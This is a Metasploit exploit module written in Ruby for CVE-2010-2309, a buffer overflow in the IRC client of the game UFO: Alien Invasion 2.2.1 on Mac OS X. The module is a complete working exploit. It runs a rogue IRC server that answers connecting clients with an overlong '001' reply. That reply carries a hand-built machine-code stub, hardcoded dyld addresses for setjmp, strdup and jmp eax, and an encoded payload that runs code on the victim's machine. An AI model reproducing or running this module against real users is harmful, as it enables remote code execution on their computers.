UFO: Alien Invasion IRC Client Buffer Overflow Exploit

`##  
# $Id: ufo_ai.rb 9659 2010-07-02 00:10:51Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a buffer overflow in the IRC client component  
of UFO: Alien Invasion 2.2.1.  
},  
'Author' =>  
[  
'Jason Geffner', # Original Windows PoC Author  
'dookie' # OSX Exploit Author  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9659 $',  
'References' =>  
[  
[ 'CVE', '2010-2309' ],  
[ 'OSVDB', '65689' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]  
],  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x0a\x0d",  
'MaxNops' => 0,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'osx',  
'Targets' =>  
[  
[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',  
{  
'Arch' => ARCH_X86,  
'Offset' => 524,  
'Writable' => 0x8fe66448, # dyld __IMPORT  
# The rest of these addresses are in dyld __TEXT  
'setjmp' => 0x8fe1cf38,  
'strdup' => 0x8fe210dc,  
'jmp_eax' => 0x8fe01041  
}  
]  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),  
], self.class)  
end  
  
  
def make_exec_payload_from_heap_stub()  
frag0 =  
"\x90" + # nop  
"\x58" + # pop eax  
"\x61" + # popa  
"\xc3" # ret  
  
frag1 =  
"\x90" + # nop  
"\x58" + # pop eax  
"\x89\xe0" + # mov eax, esp  
"\x83\xc0\x0c" + # add eax, byte +0xc  
"\x89\x44\x24\x08" + # mov [esp+0x8], eax  
"\xc3" # ret  
  
setjmp = target['setjmp']  
writable = target['Writable']  
strdup = target['strdup']  
jmp_eax = target['jmp_eax']  
  
exec_payload_from_heap_stub =  
frag0 +  
[setjmp].pack('V') +  
[writable + 32, writable].pack("V2") +  
frag1 +  
"X" * 20 +  
[setjmp].pack('V') +  
[writable + 24, writable, strdup, jmp_eax].pack("V4") +  
"X" * 4  
end  
  
  
def on_client_connect(client)  
  
print_status("Got client connection...")  
  
offset = target['Offset']  
  
buffer = "001 :"  
buffer << rand_text_alpha_upper(offset)  
buffer << make_exec_payload_from_heap_stub()  
buffer << make_nops(16)  
buffer << payload.encoded  
buffer << "\x0d\x0a"  
  
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")  
client.put(buffer)  
  
end  
  
end  
`